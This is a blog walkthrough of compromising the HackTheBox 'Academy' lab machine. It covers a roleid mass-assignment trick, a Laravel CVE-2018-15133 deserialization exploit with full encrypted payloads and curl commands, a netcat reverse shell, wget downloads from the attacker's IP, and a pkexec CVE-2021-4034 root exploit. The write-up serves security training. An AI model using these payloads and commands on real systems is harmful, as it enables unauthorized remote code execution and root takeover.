[HTB] Academy

Hello, today I want to share with you my walkthrough on how to exploit the Academy machine on HackTheBox.

I know, I know, there are already a lot of walkthroughs for every existing lab machine out there, but this doesn’t want to be a classic walkthrough that shows only the right steps to follow to root the machine, it wants to be more as a guide on how to approach and attack a machine.

The Academy machine on HackTheBox is listed as an easy machine, but, don’t relax too much because is not that easy, and, most importantly, do not get frustrated if you can’t figure out something! Just enumerate more!

I find exploiting new machines very satisfying, so I really suggest you first try to exploit this machine by yourself, and then, if you get stuck somewhere, come back and read this walkthrough.

ℹ️I won’t be using Metasploit, as some certifications (like OSCP) limit or do not allow the use of this framework, I prefer to keep it out of the games. For a real-world assignment, nobody forbids using it, of course.

⚠️Before we start: The IP of this machine for me was 10.129.148.93, this will be different for you, so remember to change it in my scripts.

Let’s start! ⚡


ENUMERATION 👀

Port scanning 🚪

The first thing we have to do is enumerate the target’s open ports.

sudo nmap -T4 -A -oN nmap_tcp.txt 10.129.148.93
/* 
 - This will scan the top 1000 ports.
 - The -A option enables the OS Detection, version detection, script scanning, and traceroute. 
 - T4 set the scan speed (0 is the slowest, 5 is the fastest).
 - oN will save the output of the scan to a file (i.e. nmap_tcp.txt) 
*/ 

The scan shows that there are 2 ports open:

  • 22/tcp SSHVersion: OpenSSH 8.2p1
  • 80/tcp HTTPApache httpd 2.4.41 (Ubuntu)

So from this scan, we discovered that the server OS is Linux and more precisely Ubuntu. SSH is open and the machine is hosting a Web Server.

If we try to visit the Web Server from a browser we get redirected to academy.htb and the browser can’t resolve the hostname. The fix for this is easy, we have to edit our /etc/hosts file and add this:

/* /etc/hosts file */
/* [...] */
10.129.148.93    academy.htb
/* [...] */

Now if we visit the page [http://academy.htb] again we can see a webpage that has Login and Register button on the top-right.

But wait! Before we start manually exploring the website, we should start our Nikto scan.

Nikto scan 🔍

nikto -h academy.htb -output nikto.txt

The Nikto scan will take some time to complete, so is a good thing to start the scan as soon as possible. Meanwhile, we can continue enumerating the machine.

So now it’s scanning, we should go back to the website, right? No! Before we can start exploring the website, we should enable Burp Suite with a proxy! You may ask me, why? Because with Burp Suite enabled we can capture all the requests the page makes while we visit the website, so we can check them later!

Start Burp Suite 🏃🏻

So open Burp Suite (Don’t have Burp Suite installed yet? Look here):
1. Go to the Proxy -> Intercept tab and turn it off! This prevents Burp Suite to freeze our request.
2. Go to the Target -> Scope tab and add http://academy.htb to the scope (If it asks you to stop logging for out-of-scope requests press yes).
3. Ok, now go back to the browser and enable the Proxy.

Manual Enumeration 🕵🏻

We are finally ready! We should try to register a user, shouldn’t we? Open the webpage, click the register button and create a user. Now Login with that user and explore the homepage. As you can see there isn’t much we can do here.

Analyze Nikto Results 🔬

Let’s check the Nikto scan if it has found something useful. It found an /Admin.php login page with a possible vulnerability (OSVDB-29786). If you visit the login page you can see it’s the same at the login page as before, but if you try to log in with your user credentials it won’t work. Let’s search for more information for the vulnerability Nikto found!

OSVDB-29786 is an Authentication Bypass Vulnerability, originally found in Easynews CMS. There is an exploit on exploit-db.com [2588] that shows how is possible to bypass the admin login the same way Nikto told us before. So let’s try visiting these 2 pages:

http://academy.htb/admin.php?action=users&en_login_id=0
http://academy.htb/admin.php?action=config&en_login_id=0

Visiting both pages do nothing. So this website is not vulnerable to this type of attack. We have to find another way, but at least we discovered the admin login page.

We have done as much as possible for now with the website so we should analyze the data that the Burp Suite gathered.

Analyze Burp Suite Results 🔬

We can now watch if there is something useful on the website requests! So we should start from the beginning.
First of all, we visited the landing page, and this was simply a GET request with nothing useful. Then we registered our user. Let’s analyze the POST request the website made when we registered:

The data the webpage sent to the server was something like this:

uid=Username&password=Password&confirm=Password&roleid=0

We can notice something really interesting! There is a ‘roleid’ on our request! What happens if we change that and send another request? Let’s try that!

On Burp Suite right-click over the request and click “Send to Repeater”. Go to the repeater tab and you can see there is our request that we can edit! Change the request with something like this:

uid=NewUsername&password=Password&confirm=Password&roleid=1

Now send the request! 📤
The response’s “location” should be success-page.php. If that’s the case, you have registered a new user. That’s great, but what does ‘roleid=1’ changes? Let’s get back to the website and check. If you log in with the new user you can see nothing changed, but let’s try login using the admin login page.
We successfully logged in! Now we can see a new ‘Academy Launch Planner’ page we haven’t seen before! We are far from the finish but we have made some progress so let’s move on!

New hostname, New Enumeration! 👀

The last row of the table shows there are some pending issues with [dev-staging-01.academy.htb] this lets us discover a new hostname. We have to add this hostname to the /etc/hosts file as we did before:

/* /etc/hosts file */
/* [...] */
10.129.148.93    academy.htb
10.129.148.93    dev-staging-01.academy.htb
/* [...] */

⚠️Remember to add this new hostname to the scope of Burp Suite as we did before with academy.htb

If we visit the new hostname we can see a page with errors and some useful information. Please note that you should keep notes about all the information you find, you never know if they are useful in the future!

As you can see there is some information about a database like a name, username, and password. Unfortunately, port 3306 is closed so at least for now we cannot do anything with those.

The errors show a path for the log files, so is it may be possible to do Log poisoning? Unfortunately, in this case, it is not possible, because we are not allowed to access the logs.

Within all those information is also indicated an application name [Laravel] with an application key. We should start watching if we can find something about that. Laravel is a PHP framework and if we simply search for ‘Laravel framework exploits’ we find out that Laravel had a vulnerability [CVE-2018-15133] and there are exploits available for it!

We have found the possible vulnerability we can try to use, so let’s move on to the next step!

EXPLOIT CVE-2018-15133 🎯

The description of this vulnerability says that:

In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.” [CVE-2018-13133]

I’ve highlighted the important parts of the description. We know is running the Laravel framework, we have the app key of the applications thanks to the error page we saw before, the only thing we don’t know is the Framework version.

Test if vulnerable 🧪

Before we start digging into getting a remote shell, we should test if the application is vulnerable to this attack. If you search for an exploit you can find a POC that allows us to test if it is vulnerable: [github.com/kozmic/laravel-poc-CVE-2018-15133].

Preparation 👷🏻

Download on your machine the POC from Github

git clone https://github.com/kozmic/laravel-poc-CVE-2018-15133

Install PHPGGC on your system

sudo apt install phpggc
/*
  Alternatively you can download it from github: 
  git clone https://github.com/ambionics/phpggc
*/

Generate the payload 🏗️

  1. Get the APP_KEY from the http://dev-staging-01.academy.htb/ page
dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
  1. Generate the test payload using PHPGGC
phpggc Laravel/RCE1 system 'uname -a' -b
/*
  uname -a will print the name of the operating system
  -b is used to encode the payload in base64
*/

//result:
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9
  1. Encrypt the payload with APP_KEY
/* ./cve-2018-15133.php <APP_KEY> <BASE64_PAYLOAD> */

./cve-2018-15133.php dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjg6InVuYW1lIC1hIjt9

//result 
X-XSRF-TOKEN: eyJpdiI6InpVK1M0YkdzVHhORW5hOEFscU9zVlE9PSIsInZhbHVlIjoia3RiZklmR2w5VHI3WEpROUUyTGlMQVJ4QXBEdXV2N09EbERsQnVtZm1nZzNCdU9KQ3prSHBleSsrN1BcL0VjV3d4YnVBN1NhWVFZV243b0FKSXh0QUFWWFNjazJxaVFZQ0szcHViNktKXC9ncEtuaEp2bzd3OUgxWmhuT0wwaVwvQWdXck5yTmkzSW1BY243a3Y2VTk4VDRseE1kTGg1MG42RHZMNlNha0tqTGFzOE9OcVJsRVJVNFkycU83VzNvRkJWbmdtY2RqNDVDRnBtYlVtUGFzbWNtOE1ZczdWUitoaDQxeGVSQkhtVHY5V01nME50S0hJNUM2bWV4UzhrSnBOUiIsIm1hYyI6IjNjY2MyZjk3MjI5OTMyZTU2ODdkMjE1Mjc3YmYyODUzMzM2MWExOTE1M2M0NDUxMTI4M2JiZGFkMmQxNDU4YWUifQ==

Execute the exploit 💥

Send the payload to the server!

curl http://dev-staging-01.academy.htb/ -X POST -H 'X-XSRF-TOKEN: eyJpdiI6InpVK1M0YkdzVHhORW5hOEFscU9zVlE9PSIsInZhbHVlIjoia3RiZklmR2w5VHI3WEpROUUyTGlMQVJ4QXBEdXV2N09EbERsQnVtZm1nZzNCdU9KQ3prSHBleSsrN1BcL0VjV3d4YnVBN1NhWVFZV243b0FKSXh0QUFWWFNjazJxaVFZQ0szcHViNktKXC9ncEtuaEp2bzd3OUgxWmhuT0wwaVwvQWdXck5yTmkzSW1BY243a3Y2VTk4VDRseE1kTGg1MG42RHZMNlNha0tqTGFzOE9OcVJsRVJVNFkycU83VzNvRkJWbmdtY2RqNDVDRnBtYlVtUGFzbWNtOE1ZczdWUitoaDQxeGVSQkhtVHY5V01nME50S0hJNUM2bWV4UzhrSnBOUiIsIm1hYyI6IjNjY2MyZjk3MjI5OTMyZTU2ODdkMjE1Mjc3YmYyODUzMzM2MWExOTE1M2M0NDUxMTI4M2JiZGFkMmQxNDU4YWUifQ=='| head -n 2

Check the results 🔬

Looking at the results we can confirm that the RCE worked because on the first line of the response we can see that there is “Linux academy 5.4.0-52-generic #57-Ubuntu SMP”. This means that the exploit was successful and correctly executed our code (uname -a).

Now that we know that this machine is vulnerable to CVE-2018-15133 we can try to gain a shell! 👨🏻‍💻

Establishing Foothold ⚓

Now, if you want it is possible to generate a payload manually using a reverse shell script from here. So, you could simply follow the above steps and adapt the payload with a reverse shell script. Or if you don’t want to do it manually I’ve written a simple script that does this for you, without the bother to get a working payload. However, I suggest you, at least, look into how the payload is generated.

Download my python script from Github, (I’ve kept it as simple as possible so it’s easier to understand):

Download it here: exploit_laravel_cve-2018-15133.py

This script requires pycrypto and pycryptodome, once you have installed them you are ready to execute it!
Run the script as below to generate the command to execute:

python exploit_laravel_cve-2018-15133.py -U <LHOST> -k <APP_KEY> <URL>

/*
  example: python exploit_laravel_cve-2018-15133.py -U 10.10.16.14 -k dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= http://dev-staging-01.academy.htb
  -U is the IP of the machine listening for the reverse shell
  -P is the listener port, by default is 4242
*/

This will print a Linux command that has to be copied and executed to send the payload with the reverse shell to the machine.

curl http://dev-staging-01.academy.htb/ -X POST -H 'X-XSRF-TOKEN:eyJtYWMiOiAiNDU3YzRiMjZiZmY4MDE5MDc1NWFmZjUyMjI1OWVlMmZiZGI5Njk2MzhlYTBhNDg1YjNiMjhkMDlhNjZhZmMyMiIsICJ2YWx1ZSI6ICJpUzNiR2kwY3k3d25IVEREcGp2aHVjK2ZIeTFCajlGTm9jK0FTSmwvL1JodStKVnh5bjI3Wnc2NWwzQ0FzRDhqQW1mWDVmckxlbFdxTFJsN1kvcVdPSFAwYkdUWWNQaG1PcEZjc3UrM2ZYdWtOL0sxYWJCckVCRXppYzJmam9takNYYk1rTnVpV282VzBvM0MzelNlUncvNWcxT1EzWUpRaENmVEhsUDQ2SmFnR3B5ZG8rWTNHeEhHQVJiRmNIT1hTaEYzRWRDY3VUQlBiQjBOZmlvSVNjcGNxNVllZnI3aFBudnN6cDRsaXU4SDZEWXkwMDlvYVExNXJVYmRoSThaK0RjVmp6VHAzOUltaDdwVmVlWXd5VWgySGtob2lDcVBWUnMyL1ZqeHBJMnhKTS82OEJEYnV6VURZWExNd2I1RjBJdy9wSWhUczVXTTh3THdHUEMyRHRJR2FFZUpUNmxoYkpMUUFuOHhFYTA9IiwgIml2IjogInNHeGd6ajVlUUVoczE1UjFWMHhPZXc9PSJ9'| head -n 2

⚠️WAIT! Before we can execute it, we have to start a listener on the previously specified port on a new terminal:

nc -lvnp 4242

Now we can paste and execute the generated command. If we go back to the listener terminal, we can notice that we got a shell!
We are in! 🕶️
Which user are we logged as? Let’s check:

$ whoami -> www-data
$ hostname -> academy

Now we can upgrade our shell to a fully interactive shell, so we won’t have problems with the next steps, simply with this command:

python3 -c 'import pty; pty.spawn("/bin/bash")'

We have ‘upgraded’ our shell! Let’s start a bit of enumeration by looking into the user folders. We can see that in the /home/cry0l1t3/ directory there is the user.txt file, that will contain the HTB user flag. If we try to read it, we get a ‘Permission denied‘ error. Time to do PrivEsc!

Privilege Escalation 🧗🏻

Now it’s time to try to escalate until we elevate our privileges to root!

Enumeration 👀

Like any other type of enumeration, we can do it in two ways: manually or using automation. The manual enumeration in this case is very time-consuming because there are a lot of files to check, and can take a while before we could find a vulnerability. If we don’t have a strict deadline or we have to pass unobserved we can choose to do it manually. But during certification or assignment, we have time limits, so we should start scanning with an automated enumeration and, after that, proceed manually taking into consideration the scan results.

⚠️Note: Using automation doesn’t mean that we don’t have to know how to do it manually or what the tool does. We must know if the tool leaves some kind of traces or edit some files, especially if we have to remain hidden. Another reason to be able to enumerate manually is that we can encounter some machines where we are unable to use/upload any tools and doing it manually is the only way.
I share with you a further read about this argument here.

LinPEAS 🟢

LinPEAS is a script that searches for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. You can download it from Github or linpeas.sh.

Once we have downloaded the script on our machine is time to upload it to the target machine.
So we have to create an HTTP server on the directory where linpeas.sh is located using python.

python -m SimpleHTTPServer 8080

Now let’s go back to the shell of the academy machine and download the file from our server.

cd /tmp
wget 10.10.16.14:8080/linpeas.sh
/*
  Change the IP with the local IP of your machine
*/

Now we have only to execute it. It’s good practice to keep saving the logs so let’s print the LinPEAS output to a file. Note that before we can execute the script we have to change its execution rights with chmod.

chmod +x linpeas.sh
./linpeas.sh > scan.txt
/*
  This will take some minutes, just wait and ignore possible error outputs.
*/

Once finished, we have to download the scan result file to our local machine to be able to better read it. So we have to do the same as before but in reverse. The target machine in this case doesn’t have python2 installed, but only python3 so the syntax for the HTTP Server is a bit different.

python3 -m http.server 8181

Now we go back to a shell in our machine and download the file

wget 10.129.148.93:8181/scan.txt
/*
  Change the IP with the local IP of the HTB Academy machine (target)
*/

We are ready to read and analyze the results of the scan!

Analyze LinPEAS Results 🔬

LinPEAS add colors in his output (can be disabled with -N option), so if you open it with a text editor will be difficult to read. To show it better and with colors open a terminal and use ‘cat’ to print the content of the file.

cat scan.txt

Reading through the output, we can notice an orange/red text line that informs us that the machine is vulnerable to CVE-2021-4034! This is where we have to concentrate now because is a possible vulnerability that may lead us to escalate our privileges!

CVE-2021-4034 🎯

“A local privilege escalation vulnerability was found on polkit’s pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn’t handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it’ll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine. [CVE-2021-4034]

This is exactly what we needed! Now let’s find a working exploit for it!

Download and Setup ⚙️

If we search the vulnerability online, we find an exploit on Github from @arthepsy. This exploit won’t work because it requires compiling the code on the target machine, and in this case, our target machine doesn’t have gcc.
However, if we look at the pull requests in this repository we can see that there is one from @milabs that removes the need to have gcc. Let’s download that one:

git clone https://github.com/milabs/CVE-2021-4034

Let’s build the executable:

cd CVE-2021-4034
make

Ok, now the only thing we have to do is to upload it to the target machine!

Upload the exploit📤

First thing first we have to start the HTTP server, as we did before, inside the just downloaded exploit folder in our machine.

python -m SimpleHTTPServer 8080

We go back to the target machine shell and download the required files. Remember that we can only write into the /tmp folder so we have to download them there.

cd /tmp
wget 10.10.16.14:8080/exploit
wget 10.10.16.14:8080/pwnkit.so

Execute the exploit 💥

Ok, now let’s execute the exploit! Remember that before that we have to change its execution rights.

chmod +x exploit
./exploit

The program executes correctly, let’s see if something changed.

whoami -> root

We have successfully gained root access to this machine!

Gif image that says 'nice'

The only thing left for us to do now is to get the user and root flags from:

/home/cry0l1t3/user.txt
/root/root.txt

Conclusions 🏁

To recap, in this lab machine, we exploited a registration portal by finding we can set a ‘roleid’ when creating an account. Login to the admin portal made us discover a new domain that was hosting a vulnerable version of ‘Larvavel’. Using a script we generated and sent a malicious payload that made us gain a reverse shell. On the shell, we enumerated the vulnerability of the system and discovered that the system was running a vulnerable version of ‘pkexec utility’. We then found and executed the exploit that made us gain root access.

Thank you for reading!
I hope you enjoyed this post and found it useful!

Davide Stefanutti

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.